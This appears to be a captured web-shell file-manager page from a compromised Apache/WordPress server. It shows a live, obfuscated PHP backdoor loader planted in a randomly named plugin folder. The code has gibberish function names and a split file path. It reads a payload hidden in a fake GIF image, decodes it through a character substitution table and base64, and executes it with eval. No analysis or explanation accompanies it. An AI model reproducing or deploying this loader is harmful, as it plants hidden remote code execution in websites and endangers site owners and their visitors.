HEX
Server: Apache/2.4.29 (Ubuntu)
System: Linux instance-1 5.4.0-1092-gcp #101~18.04.1-Ubuntu SMP Mon Oct 17 18:29:06 UTC 2022 x86_64
User: web297 (5095)
PHP: 8.1.14
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, exec, shell_exec, system, passthru, proc_open, proc_close, popen, parse_ini_file, show_source
Upload Files
File: /data0/www/clients/client0/web297/web/wp-content/plugins/abyxezho/ebozalu.txt
<?php

function xubihy_utetavyfy($pewovu_uwezhytha) {
    if ($pewovu_uwezhytha == 1)
        return emyqyg_fypithig();
    if ($pewovu_uwezhytha == 2)
        return zytomy_mokhujata();
}

function pocipu_ishapachuzhi($pewovu_uwezhytha) {
    $jylydu = xubihy_utetavyfy(1);
    $erihyzh = xubihy_utetavyfy(2);
    for ($sepotha = 0; $sepotha < strlen($jylydu); $sepotha++) {
        $nashify = substr($jylydu, $sepotha, 1);
        $ydadoz = substr($erihyzh, $sepotha, 1);
        $gochoby[$nashify] = $ydadoz;
    }

    $ezanah = strtr($pewovu_uwezhytha, $gochoby);
    $ezanah = base64_decode($ezanah);

    return $ezanah;
}

function loxeze_thitupikh($pewovu_uwezhytha) {
    $xobivi = array();
    if (!file_exists($pewovu_uwezhytha))
        return false;
    $lafilat = @file_get_contents($pewovu_uwezhytha);
    if (!$lafilat)
        return false;
    $lafilat = substr($lafilat, 3);
    $xobivi = pocipu_ishapachuzhi($lafilat);
    return $xobivi;
}

function emyqyg_fypithig() {
    $lafilat = "EWl7o6jTd3OxZuivLXGbsB+akJUR5yA9gfpYtScHz2wm1hCPF/n4MNI8DerqV=Q0K";
    return $lafilat;
}

function zytomy_mokhujata() {
    $xobivi = "kUf3+bsld=rxmw7iB2Ja9VXtMhAL1cR/zGDWFIoO6yj8gSCNv5enPHTZ4pKEquQ0Y";
    return $xobivi;
}

$iwiboso = loxeze_thitupikh(__DIR__ . "/asset" . "s/imag" . "es/yd" . "oryth" . ".gif");
if ($iwiboso) {
    @eval($iwiboso);
}